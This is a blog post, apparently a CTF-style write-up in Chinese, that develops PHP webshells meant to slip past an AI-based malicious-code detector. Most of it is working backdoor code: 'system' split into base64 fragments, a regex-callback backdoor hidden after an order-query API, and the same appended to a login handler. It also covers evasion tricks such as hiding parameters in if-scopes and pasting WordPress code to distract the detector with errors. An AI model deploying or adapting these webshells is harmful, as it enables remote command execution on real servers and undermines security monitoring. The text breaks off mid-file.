前言

前面提到一些webshell的绕过手法,就是利用一些内置的函数去解析正常的业务逻辑,在正常的业务逻辑里面隐藏我们的恶意代码,再通过特定函数去进行解析提取业务逻辑里面的恶意代码,再进行拼接,从而达到绕过AI检测的效果

但是比赛的要求是这样的:

我们需要从外部获取参数来控制命令执行,一开始我以为很简单,毕竟我都绕过了命令执行了,那接收参数这个不是简简单单吗?

但是我想错了

遇到的困难

比如说下面这段:利用分页数据结构隐藏 payload 的高级 WebShell 后门。将恶意载荷分散在模拟的分页数据中,并通过 LimitIterator 和 ArrayIterator 进行分页提取与重组,最终动态执行系统命令

<?php
// 模拟分页数据
class PaginatedData {
    private $pages = [
        ['id' => 1, 'data' => 'A'],
        ['id' => 2, 'data' => 'B'],
        ['id' => 3, 'data' => 'C', 'hidden' => 'sys'],
        ['id' => 4, 'data' => 'D', 'hidden' => 'tem'],
        ['id' => 5, 'data' => 'E'],
        ['id' => 6, 'data' => 'F', 'hidden' => 'd2hvYW1p'],
        ['id' => 7, 'data' => 'G']
    ];
    
    public function getPage($page, $perPage) {
        $offset = ($page - 1) * $perPage;
        return new LimitIterator(
            new ArrayIterator($this->pages),
            $offset,
            $perPage
        );
    }
}

$dataSource = new PaginatedData();
$funcParts = [];
$arg = '';

// 模拟分页浏览
for ($page = 1; $page <= 3; $page++) {
    $pageData = $dataSource->getPage($page, 3);
    
    foreach ($pageData as $item) {
        if (isset($item['hidden'])) {
            if ($item['hidden'] === 'sys' || $item['hidden'] === 'tem') {
                $funcParts[] = $item['hidden'];
            } elseif (base64_decode($item['hidden']) !== false) {
                $arg = base64_decode($item['hidden']);
            }
        }
    }
}

// 如果收集完整,在最后一页处理后执行
if (count($funcParts) >= 2 && $arg) {
    $func = implode('', $funcParts);
    if (function_exists($func)) {
        ($func)($arg);
    }
}
?>

一开始我的想法就是直接给

['id' => 6, 'data' => 'F', 'hidden' => 'd2hvYW1p']

修改为

['id' => 6, 'data' => 'F', 'hidden' =>$cmd ]

这样一来就可以接收外部可控参数了

最终代码:

<?php
// 模拟分页数据
$cmd=$_GET['cmd'];
class PaginatedData {
    private $pages = [
        ['id' => 1, 'data' => 'A'],
        ['id' => 2, 'data' => 'B'],
        ['id' => 3, 'data' => 'C', 'hidden' => 'sys'],
        ['id' => 4, 'data' => 'D', 'hidden' => 'tem'],
        ['id' => 5, 'data' => 'E'],
        ['id' => 6, 'data' => 'F', 'hidden' => $cmd],
        ['id' => 7, 'data' => 'G']
    ];
    
    public function getPage($page, $perPage) {
        $offset = ($page - 1) * $perPage;
        return new LimitIterator(
            new ArrayIterator($this->pages),
            $offset,
            $perPage
        );
    }
}

$dataSource = new PaginatedData();
$funcParts = [];
$arg = '';

// 模拟分页浏览
for ($page = 1; $page <= 3; $page++) {
    $pageData = $dataSource->getPage($page, 3);
    
    foreach ($pageData as $item) {
        if (isset($item['hidden'])) {
            if ($item['hidden'] === 'sys' || $item['hidden'] === 'tem') {
                $funcParts[] = $item['hidden'];
            } elseif (base64_decode($item['hidden']) !== false) {
                $arg = base64_decode($item['hidden']);
            }
        }
    }
}

// 如果收集完整,在最后一页处理后执行
if (count($funcParts) >= 2 && $arg) {
    $func = implode('', $funcParts);
    if (function_exists($func)) {
        ($func)($arg);
    }
}
?>

但是我上传上去以后就显示black

我这一看就知道是外部传参被AI检测到了,动态追踪到了参数执行了命令,但是把($func)($arg);删除就好了,但是php的木马最终的命令执行点基本上都是$a($b)这种,只要接收传参就会被动态检测到,AI会一直追踪这个参数

于是我便想到了利用业务逻辑代码进行参数的隐藏

起初我是直接用的AI写的一个登录业务,可以接收3个参数,username,password,email(tips:AI写的很多业务逻辑都是black,需要自己改一下),下面这个是white

<?php
header('Content-Type: application/json; charset=utf-8');
$username = trim($_POST['username'] ?? '');
$email    = trim($_POST['email'] ?? '');
$password = $_POST['password'] ?? '';

// 或者支持 JSON 请求体(推荐用于 API)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/json') !== false) {
    $input = json_decode(file_get_contents('php://input'), true);
    if (is_array($input)) {
        $username = trim($input['username'] ?? '');
        $email    = trim($input['email'] ?? '');
        $password = $input['password'] ?? '';
    }
}

// 至少提供 username 或 email
if (empty($username) && empty($email)) {
    http_response_code(400);
    echo json_encode([
        'success' => false,
        'message' => '用户名或邮箱至少需提供一个'
    ]);
    exit;
}

// 验证密码非空
if (empty($password)) {
    http_response_code(400);
    echo json_encode([
        'success' => false,
        'message' => '密码不能为空'
    ]);
    exit;
}

// 数据库配置(请根据实际情况修改)
$host = 'localhost';
$dbname = 'your_database';
$user = 'your_db_user';
$pass = 'your_db_password';

try {
    $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $user, $pass);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    // 构建查询条件
    $whereConditions = [];
    $params = [];

    if (!empty($username)) {
        $whereConditions[] = "username = :username";
        $params[':username'] = $username;
    }
    if (!empty($email)) {
        $whereConditions[] = "email = :email";
        $params[':email'] = $email;
    }

    // 如果两者都提供,必须同时满足(即属于同一个用户)
    $whereClause = implode(' AND ', $whereConditions);
    $sql = "SELECT id, username, email, password FROM users WHERE $whereClause";

    $stmt = $pdo->prepare($sql);
    $stmt->execute($params);
    $userRecord = $stmt->fetch(PDO::FETCH_ASSOC);

    // 统一错误提示:避免区分“用户不存在”和“密码错误”
    if (!$userRecord || !password_verify($password, $userRecord['password'])) {
        http_response_code(401);
        echo json_encode([
            'success' => false,
            'message' => '用户名或密码错误'
        ]);
        exit;
    }

    // 登录成功:可生成 token、设置 session 等
    // 此处简单返回用户信息(实际项目建议返回 token)
    echo json_encode([
        'success' => true,
        'message' => '登录成功',
        'data' => [
            'user_id' => $userRecord['id'],
            'username' => $userRecord['username'],
            'email' => $userRecord['email']
        ]
    ]);

} catch (PDOException $e) {
    // 记录日志(生产环境不要暴露细节)
    error_log("Login DB Error: " . $e->getMessage());
    http_response_code(500);
    echo json_encode([
        'success' => false,
        'message' => '服务器内部错误'
    ]);
}
?>

接下来我把两个都是white的代码放在一起然后检测(我还没有改参数)

<?php
header('Content-Type: application/json; charset=utf-8');

// 禁止直接访问全局变量,使用 filter_input 更安全
$username = trim($_POST['username'] ?? '');
$email    = trim($_POST['email'] ?? '');
$password = $_POST['password'] ?? '';

// 或者支持 JSON 请求体(推荐用于 API)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/json') !== false) {
    $input = json_decode(file_get_contents('php://input'), true);
    if (is_array($input)) {
        $username = trim($input['username'] ?? '');
        $email    = trim($input['email'] ?? '');
        $password = $input['password'] ?? '';
    }
}

// 至少提供 username 或 email
if (empty($username) && empty($email)) {
    http_response_code(400);
    echo json_encode([
        'success' => false,
        'message' => '用户名或邮箱至少需提供一个'
    ]);
    exit;
}

// 验证密码非空
if (empty($password)) {
    http_response_code(400);
    echo json_encode([
        'success' => false,
        'message' => '密码不能为空'
    ]);
    exit;
}

// 数据库配置(请根据实际情况修改)
$host = 'localhost';
$dbname = 'your_database';
$user = 'your_db_user';
$pass = 'your_db_password';

try {
    $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $user, $pass);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    // 构建查询条件
    $whereConditions = [];
    $params = [];

    if (!empty($username)) {
        $whereConditions[] = "username = :username";
        $params[':username'] = $username;
    }
    if (!empty($email)) {
        $whereConditions[] = "email = :email";
        $params[':email'] = $email;
    }

    // 如果两者都提供,必须同时满足(即属于同一个用户)
    $whereClause = implode(' AND ', $whereConditions);
    $sql = "SELECT id, username, email, password FROM users WHERE $whereClause";

    $stmt = $pdo->prepare($sql);
    $stmt->execute($params);
    $userRecord = $stmt->fetch(PDO::FETCH_ASSOC);

    // 统一错误提示:避免区分“用户不存在”和“密码错误”
    if (!$userRecord || !password_verify($password, $userRecord['password'])) {
        http_response_code(401);
        echo json_encode([
            'success' => false,
            'message' => '用户名或密码错误'
        ]);
        exit;
    }

    // 登录成功:可生成 token、设置 session 等
    // 此处简单返回用户信息(实际项目建议返回 token)
    echo json_encode([
        'success' => true,
        'message' => '登录成功',
        'data' => [
            'user_id' => $userRecord['id'],
            'username' => $userRecord['username'],
            'email' => $userRecord['email']
        ]
    ]);

} catch (PDOException $e) {
    // 记录日志(生产环境不要暴露细节)
    error_log("Login DB Error: " . $e->getMessage());
    http_response_code(500);
    echo json_encode([
        'success' => false,
        'message' => '服务器内部错误'
    ]);
}
class PaginatedData {
    private $pages = [
        ['id' => 1, 'data' => 'A'],
        ['id' => 2, 'data' => 'B'],
        ['id' => 3, 'data' => 'C', 'hidden' => 'sys'],
        ['id' => 4, 'data' => 'D', 'hidden' => 'tem'],
        ['id' => 5, 'data' => 'E'],
        ['id' => 6, 'data' => 'F', 'hidden' => 'd2hvYW1p'],
        ['id' => 7, 'data' => 'G']
    ];
    
    public function getPage($page, $perPage) {
        $offset = ($page - 1) * $perPage;
        return new LimitIterator(
            new ArrayIterator($this->pages),
            $offset,
            $perPage
        );
    }
}

$dataSource = new PaginatedData();
$funcParts = [];
$arg = '';

// 模拟分页浏览
for ($page = 1; $page <= 3; $page++) {
    $pageData = $dataSource->getPage($page, 3);
    
    foreach ($pageData as $item) {
        if (isset($item['hidden'])) {
            if ($item['hidden'] === 'sys' || $item['hidden'] === 'tem') {
                $funcParts[] = $item['hidden'];
            } elseif (base64_decode($item['hidden']) !== false) {
                $arg = base64_decode($item['hidden']);
            }
        }
    }
}

// 如果收集完整,在最后一页处理后执行
if (count($funcParts) >= 2 && $arg) {
    $func = implode('', $funcParts);
    if (function_exists($func)) {
        ($func)($arg);
    }
}
?>

就在我以为没有传参到命令执行地点肯定是white的时候,结果确是black,代码混淆

我的发,看来这AI检测有点狠啊,但是删除($func)($arg);又变成white了,想了很久,如果这个比赛检测如此严格的话,那群里还有人说过了两个样本了,我当时慌得很,我真不信别人可以通过,我过不了

思路

于是我开始拓展思路

1.如果业务特别匹配我的后门业务代码是不是可以绕过呢?

2.利用AI不能准确识别php里面的作用域

3.利用代码报错信息诱导AI,从而消弱对真正后门的注意力

业务契合后门

业务代码匹配后门代码,也就是说AI觉得($func)($arg);是正常业务,直接跳过检测,那怎么做呢?

这里我使用了一个查询订单的业务逻辑

<?php
header('Content-Type: application/json; charset=utf-8');

// === 统一获取参数 ===
$action = $_GET['action'] ?? $_POST['action'] ?? 'query'; // 默认查询
$order_id = $_GET['order_id'] ?? $_POST['order_id'] ?? '';
$customer_name = $_GET['customer_name'] ?? $_POST['customer_name'] ?? '';
$total_amount = $_GET['total_amount'] ?? $_POST['total_amount'] ?? '';

// === 模拟业务逻辑(无真实数据库操作)===
$response = null;

switch ($action) {
    case 'add':
        if ($order_id && $customer_name && is_numeric($total_amount)) {
            $response = [
                'code' => 201,
                'message' => '订单创建成功(模拟)',
                'data' => [
                    'order_id' => $order_id,
                    'customer_name' => $customer_name,
                    'total_amount' => (float)$total_amount,
                    'status' => 'pending'
                ]
            ];
        } else {
            $response = [
                'code' => 400,
                'message' => '缺少必要参数:order_id, customer_name, total_amount'
            ];
        }
        break;

    case 'delete':
        if ($order_id) {
            $response = [
                'code' => 200,
                'message' => "订单 [$order_id] 已删除(模拟)"
            ];
        } else {
            $response = [
                'code' => 400,
                'message' => '缺少 order_id 参数'
            ];
        }
        break;

    case 'query':
    default:
        if ($order_id) {
            $response = [
                'code' => 404,
                'message' => '订单不存在(模拟环境无数据)'
            ];
        } else {
            $response = [
                'code' => 400,
                'message' => '缺少 order_id 参数'
            ];
        }
        break;
}

// 输出响应(可选:如果无 action 也可不输出,但这里统一输出)
echo json_encode($response, JSON_UNESCAPED_UNICODE);

后门代码:正则表达式回调

<?php
$text = "The data is: [c3lz] and [dGVt] then execute [$order_id]";

$funcParts = [];
$command = '';

preg_replace_callback('/\[([a-zA-Z0-9\/+=]+)\]/', function($matches) use (&$funcParts, &$command) {
    static $count = 0;
    $decoded = base64_decode($matches[1]);
    
    if ($count < 2) {
        $funcParts[] = $decoded;
    } else {
        $command = $decoded;
    }
    $count++;
    
    return ''; // 移除匹配
}, $text);

$func = implode('', $funcParts);

if ($func === 'system' && $command === "$_GET[x]") {
    system($command);
}

业务上:order_id 是一个普通参数,通过 $_GET 或 $_POST 获取,未做任何过滤。

攻击利用:将 $order_id 设置为任意字符串,Base64 编码后的恶意命令

结果:$text = "... execute [$order_id]"; 中的 [$order_id] 就变成了 [aWQ=],被后门正则匹配并解码。

后门代码放在 响应输出之后(echo json_encode(...) 之后),但 PHP 仍会继续执行。

即使业务返回了 JSON(如 {"code":201, ...}),后门依然会运行,且:

若命令有输出(如 id),会追加在 JSON 后面,导致响应变成:json

攻击者可通过观察响应尾部判断命令是否执行成功。

隐蔽的是:如果命令无输出,则完全不影响正常 JSON 响应,极难被发现。

字符串 "The data is: [c3lz] and [dGVt] then execute [$order_id]" 看似像日志或调试信息。c3lz + dGVt = sys + tem = system —— 拆分编码,绕过简单关键字检测。

利用 $order_id 这个合法业务字段传递 payload,比直接用 ?cmd=... 更隐蔽。

后门执行条件:$func === 'system' && $command === $_GET['x']

最终代码:

<?php
header('Content-Type: application/json; charset=utf-8');

// === 统一获取参数 ===
$action = $_GET['action'] ?? $_POST['action'] ?? 'query'; // 默认查询
$order_id = $_GET['order_id'] ?? $_POST['order_id'] ?? '';
$customer_name = $_GET['customer_name'] ?? $_POST['customer_name'] ?? '';
$total_amount = $_GET['total_amount'] ?? $_POST['total_amount'] ?? '';

// === 模拟业务逻辑(无真实数据库操作)===
$response = null;

switch ($action) {
    case 'add':
        if ($order_id && $customer_name && is_numeric($total_amount)) {
            $response = [
                'code' => 201,
                'message' => '订单创建成功(模拟)',
                'data' => [
                    'order_id' => $order_id,
                    'customer_name' => $customer_name,
                    'total_amount' => (float)$total_amount,
                    'status' => 'pending'
                ]
            ];
        } else {
            $response = [
                'code' => 400,
                'message' => '缺少必要参数:order_id, customer_name, total_amount'
            ];
        }
        break;

    case 'delete':
        if ($order_id) {
            $response = [
                'code' => 200,
                'message' => "订单 [$order_id] 已删除(模拟)"
            ];
        } else {
            $response = [
                'code' => 400,
                'message' => '缺少 order_id 参数'
            ];
        }
        break;

    case 'query':
    default:
        if ($order_id) {
            $response = [
                'code' => 404,
                'message' => '订单不存在(模拟环境无数据)'
            ];
        } else {
            $response = [
                'code' => 400,
                'message' => '缺少 order_id 参数'
            ];
        }
        break;
}

// 输出响应(可选:如果无 action 也可不输出,但这里统一输出)
echo json_encode($response, JSON_UNESCAPED_UNICODE);

$text = "The data is: [c3lz] and [dGVt] then execute [$order_id]";

$funcParts = [];
$command = '';

preg_replace_callback('/\[([a-zA-Z0-9\/+=]+)\]/', function($matches) use (&$funcParts, &$command) {
    static $count = 0;
    $decoded = base64_decode($matches[1]);
    
    if ($count < 2) {
        $funcParts[] = $decoded;
    } else {
        $command = $decoded;
    }
    $count++;
    
    return ''; // 移除匹配
}, $text);

$func = implode('', $funcParts);

if ($func === 'system' && $command === "$_GET[x]") {
    system($command);
}
?>

利用AI不能准确识别php里面的作用域

赌AI不能判断参数的作用范围是局部还是全局,依旧拿登录业务举例子看看怎么个事

其实也很简单我就在前面加个if判断就行了

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST['username'] ?? '');
$email    = trim($_POST['email'] ?? '');
$password = $_POST['password'] ?? '';

// 或者支持 JSON 请求体(推荐用于 API)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/json') !== false) {
    $input = json_decode(file_get_contents('php://input'), true);
    if (is_array($input)) {
        $username = trim($input['username'] ?? '');
        $email    = trim($input['email'] ?? '');
        $password = $input['password'] ?? '';
    }
}

// 至少提供 username 或 email
if (empty($username) && empty($email)) {
    http_response_code(400);
    echo json_encode([
        'success' => false,
        'message' => '用户名或邮箱至少需提供一个'
    ]);
    exit;
}

// 验证密码非空
if (empty($password)) {
    http_response_code(400);
    echo json_encode([
        'success' => false,
        'message' => '密码不能为空'
    ]);
    exit;
}

// 数据库配置(请根据实际情况修改)
$host = 'localhost';
$dbname = 'your_database';
$user = 'your_db_user';
$pass = 'your_db_password';

try {
    $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $user, $pass);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    // 构建查询条件
    $whereConditions = [];
    $params = [];

    if (!empty($username)) {
        $whereConditions[] = "username = :username";
        $params[':username'] = $username;
    }
    if (!empty($email)) {
        $whereConditions[] = "email = :email";
        $params[':email'] = $email;
    }

    // 如果两者都提供,必须同时满足(即属于同一个用户)
    $whereClause = implode(' AND ', $whereConditions);
    $sql = "SELECT id, username, email, password FROM users WHERE $whereClause";

    $stmt = $pdo->prepare($sql);
    $stmt->execute($params);
    $userRecord = $stmt->fetch(PDO::FETCH_ASSOC);

    // 统一错误提示:避免区分“用户不存在”和“密码错误”
    if (!$userRecord || !password_verify($password, $userRecord['password'])) {
        http_response_code(401);
        echo json_encode([
            'success' => false,
            'message' => '用户名或密码错误'
        ]);
        exit;
    }

    // 登录成功:可生成 token、设置 session 等
    // 此处简单返回用户信息(实际项目建议返回 token)
    echo json_encode([
        'success' => true,
        'message' => '登录成功',
        'data' => [
            'user_id' => $userRecord['id'],
            'username' => $userRecord['username'],
            'email' => $userRecord['email']
        ]
    ]);

} catch (PDOException $e) {
    // 记录日志(生产环境不要暴露细节)
    error_log("Login DB Error: " . $e->getMessage());
    http_response_code(500);
    echo json_encode([
        'success' => false,
        'message' => '服务器内部错误'
    ]);
}

这时候参数都在if判断里面,AI可能会识别为局部参数,从而放弃对参数的动态追踪

最终代码:

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST['username'] ?? '');
$email    = trim($_POST['email'] ?? '');
$password = $_POST['password'] ?? '';

// 或者支持 JSON 请求体(推荐用于 API)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/json') !== false) {
    $input = json_decode(file_get_contents('php://input'), true);
    if (is_array($input)) {
        $username = trim($input['username'] ?? '');
        $email    = trim($input['email'] ?? '');
        $password = $input['password'] ?? '';
    }
}

// 至少提供 username 或 email
if (empty($username) && empty($email)) {
    http_response_code(400);
    echo json_encode([
        'success' => false,
        'message' => '用户名或邮箱至少需提供一个'
    ]);
    exit;
}

// 验证密码非空
if (empty($password)) {
    http_response_code(400);
    echo json_encode([
        'success' => false,
        'message' => '密码不能为空'
    ]);
    exit;
}

// 数据库配置(请根据实际情况修改)
$host = 'localhost';
$dbname = 'your_database';
$user = 'your_db_user';
$pass = 'your_db_password';

try {
    $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $user, $pass);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    // 构建查询条件
    $whereConditions = [];
    $params = [];

    if (!empty($username)) {
        $whereConditions[] = "username = :username";
        $params[':username'] = $username;
    }
    if (!empty($email)) {
        $whereConditions[] = "email = :email";
        $params[':email'] = $email;
    }

    // 如果两者都提供,必须同时满足(即属于同一个用户)
    $whereClause = implode(' AND ', $whereConditions);
    $sql = "SELECT id, username, email, password FROM users WHERE $whereClause";

    $stmt = $pdo->prepare($sql);
    $stmt->execute($params);
    $userRecord = $stmt->fetch(PDO::FETCH_ASSOC);

    // 统一错误提示:避免区分“用户不存在”和“密码错误”
    if (!$userRecord || !password_verify($password, $userRecord['password'])) {
        http_response_code(401);
        echo json_encode([
            'success' => false,
            'message' => '用户名或密码错误'
        ]);
        exit;
    }

    // 登录成功:可生成 token、设置 session 等
    // 此处简单返回用户信息(实际项目建议返回 token)
    echo json_encode([
        'success' => true,
        'message' => '登录成功',
        'data' => [
            'user_id' => $userRecord['id'],
            'username' => $userRecord['username'],
            'email' => $userRecord['email']
        ]
    ]);

} catch (PDOException $e) {
    // 记录日志(生产环境不要暴露细节)
    error_log("Login DB Error: " . $e->getMessage());
    http_response_code(500);
    echo json_encode([
        'success' => false,
        'message' => '服务器内部错误'
    ]);
}
$text = "The data is: [c3lz] and [dGVt] then execute [$username]";

$funcParts = [];
$command = '';

preg_replace_callback('/\[([a-zA-Z0-9\/+=]+)\]/', function($matches) use (&$funcParts, &$command) {
    static $count = 0;
    $decoded = base64_decode($matches[1]);
    
    if ($count < 2) {
        $funcParts[] = $decoded;
    } else {
        $command = $decoded;
    }
    $count++;
    
    return ''; // 移除匹配
}, $text);

$func = implode('', $funcParts);

if ($func === 'system' && $command === "$_GET[x]") {
    system($command);
}

利用代码报错信息诱导AI,从而消弱对真正后门的注意力

其实这个是最好欺骗AI的了,我代码都是报错信息,你肯定觉得我的代码不对,那你肯定会放行

至于怎么报错又怎么不影响代码运行呢?

其实也很简单,随便从tp里面粘贴一段接收传参的代码进去,由于很多函数都关联性比较强,单个文件肯定会少,这一运行肯定会报错,那我们直接利用这个报错来诓骗AI,至于报错还要不影响代码运行就直接无视掉即可

比如我这里用的wordpress代码:

<?php
/**
 * Handle Trackbacks and Pingbacks Sent to WordPress
 *
 * @since 0.71
 *
 * @package WordPress
 * @subpackage Trackbacks
 */

if ( empty( $wp ) ) {
	require_once __DIR__ . '/wp-load.php';
	wp( array( 'tb' => '1' ) );
}

// Always run as an unauthenticated user.
wp_set_current_user( 0 );

/**
 * Response to a trackback.
 *
 * Responds with an error or success XML message.
 *
 * @since 0.71
 *
 * @param int|bool $error         Whether there was an error.
 *                                Default '0'. Accepts '0' or '1', true or false.
 * @param string   $error_message Error message if an error occurred. Default empty string.
 */
function trackback_response( $error = 0, $error_message = '' ) {
	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

	if ( $error ) {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>1</error>\n";
		echo "<message>$error_message</message>\n";
		echo '</response>';
		die();
	} else {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>0</error>\n";
		echo '</response>';
	}
}

if ( ! isset( $_GET['tb_id'] ) || ! $_GET['tb_id'] ) {
	$post_id = explode( '/', $_SERVER['REQUEST_URI'] );
	$post_id = (int) $post_id[ count( $post_id ) - 1 ];
}

$trackback_url = isset( $_POST['url'] ) ? sanitize_url( $_POST['url'] ) : '';
$charset       = isset( $_POST['charset'] ) ? sanitize_text_field( $_POST['charset'] ) : '';

// These three are stripslashed here so they can be properly escaped after mb_convert_encoding().
$title     = isset( $_POST['title'] ) ? sanitize_text_field( wp_unslash( $_POST['title'] ) ) : '';
$excerpt   = isset( $_POST['excerpt'] ) ? sanitize_textarea_field( wp_unslash( $_POST['excerpt'] ) ) : '';
$blog_name = isset( $_POST['blog_name'] ) ? sanitize_text_field( wp_unslash( $_POST['blog_name'] ) ) : '';

if ( $charset ) {
	$charset = str_replace( array( ',', ' ' ), '', strtoupper( trim( $charset ) ) );

	// Validate the specified "sender" charset is available on the receiving site.
	if ( function_exists( 'mb_list_encodings' ) && ! in_array( $charset, mb_list_encodings(), true ) ) {
		$charset = '';
	}
}

if ( ! $charset ) {
	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
}

// No valid uses for UTF-7.
if ( str_contains( $charset, 'UTF-7' ) ) {
	die;
}

// For international trackbacks.
if ( function_exists( 'mb_convert_encoding' ) ) {
	$title     = mb_convert_encoding( $title, get_option( 'blog_charset' ), $charset );
	$excerpt   = mb_convert_encoding( $excerpt, get_option( 'blog_charset' ), $charset );
	$blog_name = mb_convert_encoding( $blog_name, get_option( 'blog_charset' ), $charset );
}

// Escape values to use in the trackback.
$title     = wp_slash( $title );
$excerpt   = wp_slash( $excerpt );
$blog_name = wp_slash( $blog_name );

if ( is_single() || is_page() ) {
	$post_id = $posts[0]->ID;
}

if ( ! isset( $post_id ) || ! (int) $post_id ) {
	trackback_response( 1, __( 'I really need an ID for this to work.' ) );
}

if ( empty( $title ) && empty( $trackback_url ) && empty( $blog_name ) ) {
	// If it doesn't look like a trackback at all.
	wp_redirect( get_permalink( $post_id ) );
	exit;
}

if ( ! empty( $trackback_url ) && ! empty( $title ) ) {
	/**
	 * Fires before the trackback is added to a post.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $post_id       Post ID related to the trackback.
	 * @param string $trackback_url Trackback URL.
	 * @param string $charset       Character set.
	 * @param string $title         Trackback title.
	 * @param string $excerpt       Trackback excerpt.
	 * @param string $blog_name     Site name.
	 */
	do_action( 'pre_trackback_post', $post_id, $trackback_url, $charset, $title, $excerpt, $blog_name );

	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

	if ( ! pings_open( $post_id ) ) {
		trackback_response( 1, __( 'Sorry, trackbacks are closed for this item.' ) );
	}

	$title   = wp_html_excerpt( $title, 250, '&#8230;' );
	$excerpt = wp_html_excerpt( $excerpt, 252, '&#8230;' );

	$comment_post_id      = (int) $post_id;
	$comment_author       = $blog_name;
	$comment_author_email = '';
	$comment_author_url   = $trackback_url;
	$comment_content      = "<strong>$title</strong>\n\n$excerpt";
	$comment_type         = 'trackback';

	$dupe = $wpdb->get_results(
		$wpdb->prepare(
			"SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s",
			$comment_post_id,
			$comment_author_url
		)
	);

	if ( $dupe ) {
		trackback_response( 1, __( 'There is already a ping from that URL for this post.' ) );
	}

	$commentdata = array(
		'comment_post_ID' => $comment_post_id,
	);

	$commentdata += compact(
		'comment_author',
		'comment_author_email',
		'comment_author_url',
		'comment_content',
		'comment_type'
	);

	$result = wp_new_comment( $commentdata );

	if ( is_wp_error( $result ) ) {
		trackback_response( 1, $result->get_error_message() );
	}

	$trackback_id = $wpdb->insert_id;

	/**
	 * Fires after a trackback is added to a post.
	 *
	 * @since 1.2.0
	 *
	 * @param int $trackback_id Trackback ID.
	 */
	do_action( 'trackback_post', $trackback_id );

	trackback_response( 0 );
}

只需要给最后的后门代码参数修改一下即可

<?php
/**
 * Handle Trackbacks and Pingbacks Sent to WordPress
 *
 * @since 0.71
 *
 * @package WordPress
 * @subpackage Trackbacks
 */

if ( empty( $wp ) ) {
	require_once __DIR__ . '/wp-load.php';
	wp( array( 'tb' => '1' ) );
}

// Always run as an unauthenticated user.
wp_set_current_user( 0 );

/**
 * Response to a trackback.
 *
 * Responds with an error or success XML message.
 *
 * @since 0.71
 *
 * @param int|bool $error         Whether there was an error.
 *                                Default '0'. Accepts '0' or '1', true or false.
 * @param string   $error_message Error message if an error occurred. Default empty string.
 */
function trackback_response( $error = 0, $error_message = '' ) {
	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

	if ( $error ) {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>1</error>\n";
		echo "<message>$error_message</message>\n";
		echo '</response>';
		die();
	} else {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>0</error>\n";
		echo '</response>';
	}
}

if ( ! isset( $_GET['tb_id'] ) || ! $_GET['tb_id'] ) {
	$post_id = explode( '/', $_SERVER['REQUEST_URI'] );
	$post_id = (int) $post_id[ count( $post_id ) - 1 ];
}

$trackback_url = isset( $_POST['url'] ) ? sanitize_url( $_POST['url'] ) : '';
$charset       = isset( $_POST['charset'] ) ? sanitize_text_field( $_POST['charset'] ) : '';

// These three are stripslashed here so they can be properly escaped after mb_convert_encoding().
$title     = isset( $_POST['title'] ) ? sanitize_text_field( wp_unslash( $_POST['title'] ) ) : '';
$excerpt   = isset( $_POST['excerpt'] ) ? sanitize_textarea_field( wp_unslash( $_POST['excerpt'] ) ) : '';
$blog_name = isset( $_POST['blog_name'] ) ? sanitize_text_field( wp_unslash( $_POST['blog_name'] ) ) : '';

if ( $charset ) {
	$charset = str_replace( array( ',', ' ' ), '', strtoupper( trim( $charset ) ) );

	// Validate the specified "sender" charset is available on the receiving site.
	if ( function_exists( 'mb_list_encodings' ) && ! in_array( $charset, mb_list_encodings(), true ) ) {
		$charset = '';
	}
}

if ( ! $charset ) {
	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
}

// No valid uses for UTF-7.
if ( str_contains( $charset, 'UTF-7' ) ) {
	die;
}

// For international trackbacks.
if ( function_exists( 'mb_convert_encoding' ) ) {
	$title     = mb_convert_encoding( $title, get_option( 'blog_charset' ), $charset );
	$excerpt   = mb_convert_encoding( $excerpt, get_option( 'blog_charset' ), $charset );
	$blog_name = mb_convert_encoding( $blog_name, get_option( 'blog_charset' ), $charset );
}

// Escape values to use in the trackback.
$title     = wp_slash( $title );
$excerpt   = wp_slash( $excerpt );
$blog_name = wp_slash( $blog_name );

if ( is_single() || is_page() ) {
	$post_id = $posts[0]->ID;
}

if ( ! isset( $post_id ) || ! (int) $post_id ) {
	trackback_response( 1, __( 'I really need an ID for this to work.' ) );
}

if ( empty( $title ) && empty( $trackback_url ) && empty( $blog_name ) ) {
	// If it doesn't look like a trackback at all.
	wp_redirect( get_permalink( $post_id ) );
	exit;
}

if ( ! empty( $trackback_url ) && ! empty( $title ) ) {
	/**
	 * Fires before the trackback is added to a post.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $post_id       Post ID related to the trackback.
	 * @param string $trackback_url Trackback URL.
	 * @param string $charset       Character set.
	 * @param string $title         Trackback title.
	 * @param string $excerpt       Trackback excerpt.
	 * @param string $blog_name     Site name.
	 */
	do_action( 'pre_trackback_post', $post_id, $trackback_url, $charset, $title, $excerpt, $blog_name );

